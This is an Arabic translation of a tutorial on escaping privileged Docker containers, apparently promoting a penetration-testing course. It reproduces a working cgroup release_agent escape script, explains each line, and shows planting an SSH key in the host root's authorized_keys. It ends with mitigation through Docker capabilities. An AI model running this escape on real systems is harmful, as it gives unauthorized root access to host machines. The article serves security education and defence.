الهروب من حاويات Docker المميزة

تم إعداد ترجمة المقال عشية بدء الدورة التدريبية "Pentest. ممارسة اختبار الاختراق " .








حاويات Docker المميزة هي حاويات تعمل بعلامة --privileged. على عكس الحاويات العادية ، تتمتع هذه الحاويات بوصول جذر إلى الجهاز المضيف.



غالبًا ما تُستخدم الحاويات المميزة عندما تتطلب المهام وصولاً مباشرًا إلى الأجهزة لتنفيذ المهام. ومع ذلك ، يمكن أن تسمح حاويات Docker المميزة للمهاجمين بالسيطرة على النظام المضيف. سنرى اليوم كيف يمكنك الخروج من حاوية مميزة.



ابحث عن الحاويات المعرضة للخطر



كيف يمكننا تحديد أننا في حاوية مميزة؟



كيف تعرف أنك في حاوية؟



Cgroupsلتقف على مجموعات التحكم. تعمل ميزة Linux هذه على عزل استخدام الموارد ، وهو ما يستخدمه Docker لعزل الحاويات. يمكنك معرفة ما إذا كنت في حاوية عن طريق التحقق من مجموعة cgroup لعملية البادئ في /proc/1/cgroup. إذا لم تكن داخل الحاوية ، فستكون مجموعة التحكم /. مرة أخرى ، إذا كنت في حاوية ، فسترى بدلاً من ذلك /docker/CONTAINER_ID.



كيف تعرف ما إذا كانت الحاوية مميزة؟



بمجرد أن تحدد أنك في حاوية ، عليك أن تفهم ما إذا كانت ذات امتيازات. أفضل طريقة للقيام بذلك هي تشغيل الأمر الذي يحتاج إلى العلم --privilegedومعرفة ما إذا كان يعمل.



على سبيل المثال ، يمكنك محاولة إضافة dummyواجهة باستخدام الأمر iproute2. يتطلب هذا الأمر الوصول إلى NET_ADMINالحاوية ، إذا كان لها امتياز.



$ ip link add dummy0 type dummy


إذا نجح الأمر ، فيمكننا أن نستنتج أن الحاوية لها وظائف NET_ADMIN. وهي NET_ADMINبدورها جزء من مجموعة مميزة من الوظائف ، والحاويات التي لا تحتوي عليها لا تتمتع بامتيازات. يمكنك إزالة الرابط dummy0بعد هذا الاختبار بالأمر:



ip link delete dummy0


الهروب من الحاوية



إذن كيف تخرج من الحاوية المميزة؟ سيساعدك البرنامج النصي التالي هنا. تم أخذ هذا المثال وإثبات المفهوم من مدونة Trail of Bits . للتعمق في هذا المفهوم ، اقرأ المقال الأصلي:



mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"


يستخدم إثبات المفهوم هذا دالة release_agentمن cgroup.



بعد انتهاء العملية الأخيرة cgroup، يتم تنفيذ أمر يزيل العمل المنتهي cgroups. يتم تحديد هذا الأمر في ملف release_agentويتم تنفيذه نيابة عن rootالكمبيوتر المضيف. بشكل افتراضي ، يتم تعطيل الميزة ويكون المسار release_agentفارغًا.



يعمل هذا الاستغلال على تشغيل التعليمات البرمجية من خلال ملف release_agent. نحتاج إلى إنشاء cgroupملفه release_agentوتحديده والبدء فيه release_agent، وقتل جميع العمليات في cgroup. ينشئ السطر الأول في اختبار الفرضية مجموعة جديدة:



mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x


ما يلي يتضمن الوظيفة release_agent:



echo 1 > /tmp/cgrp/x/notify_on_release


علاوة على ذلك ، في الأسطر القليلة التالية ، يتم تسجيل المسار إلى الملف release_agent:



host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent


ثم يمكنك البدء في الكتابة إلى ملف الأوامر. سيقوم هذا البرنامج النصي بتنفيذ الأمر ps auxوحفظه في ملف /output. تحتاج أيضًا إلى تعيين وحدات بت الوصول للبرنامج النصي:



echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd


أخيرًا ، ابدأ الهجوم عن طريق إنتاج عملية تنتهي فورًا في المجموعة الجماعية التي أنشأناها. release_agentسيتم تنفيذ البرنامج النصي الخاص بنا بعد الانتهاء من العملية. يمكنك الآن قراءة الإخراج ps auxعلى الجهاز المضيف في ملف /output:



sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"


يمكنك استخدام هذا المفهوم لتنفيذ أي أوامر تريدها على النظام المضيف. على سبيل المثال ، يمكنك استخدامه لكتابة مفتاح SSH إلى ملف authorized_keysالمستخدم الجذر:



cat id_dsa.pub >> /root/.ssh/authorized_keys




منع هجوم



كيف يمكن منع هذا الهجوم؟ بدلاً من منح الحاويات حق الوصول الكامل إلى النظام المضيف ، يجب فقط منح الأذونات التي يحتاجون إليها.



تسمح قدرات Docker للمطورين بمنح أذونات انتقائية للحاوية. يصبح من الممكن تقسيم الأذونات ، المعبأة عادةً في الجذر access، إلى مكونات منفصلة.



بشكل افتراضي ، يأخذ Docker جميع الأذونات من الحاوية ويطلب إضافتها. يمكنك إزالة أو إضافة أذونات باستخدام العلامات cap-dropو cap-add.



--cap-drop=all
--cap-add=LIST_OF_CAPABILITIES


على سبيل المثال ، بدلاً من إعطاء الحاوية root access، اتركها NET_BIND_SERVICEإذا احتاجت إلى الاتصال بمنفذ أقل من 1024. ستمنح هذه العلامة الحاوية الأذونات اللازمة:



--cap-add NET_BIND_SERVICE


خاتمة



تجنب تشغيل حاويات Docker بعلامة كلما أمكن ذلك --privileged. يمكن للحاويات المتميزة أن تمنح المهاجمين القدرة على الخروج من الحاوية والوصول إلى النظام المضيف. بدلاً من ذلك ، امنح الحاويات إذنًا بشكل فردي باستخدام العلم --cap-add.



اقرأ أكثر








تعلم المزيد عن الدورة.







All Articles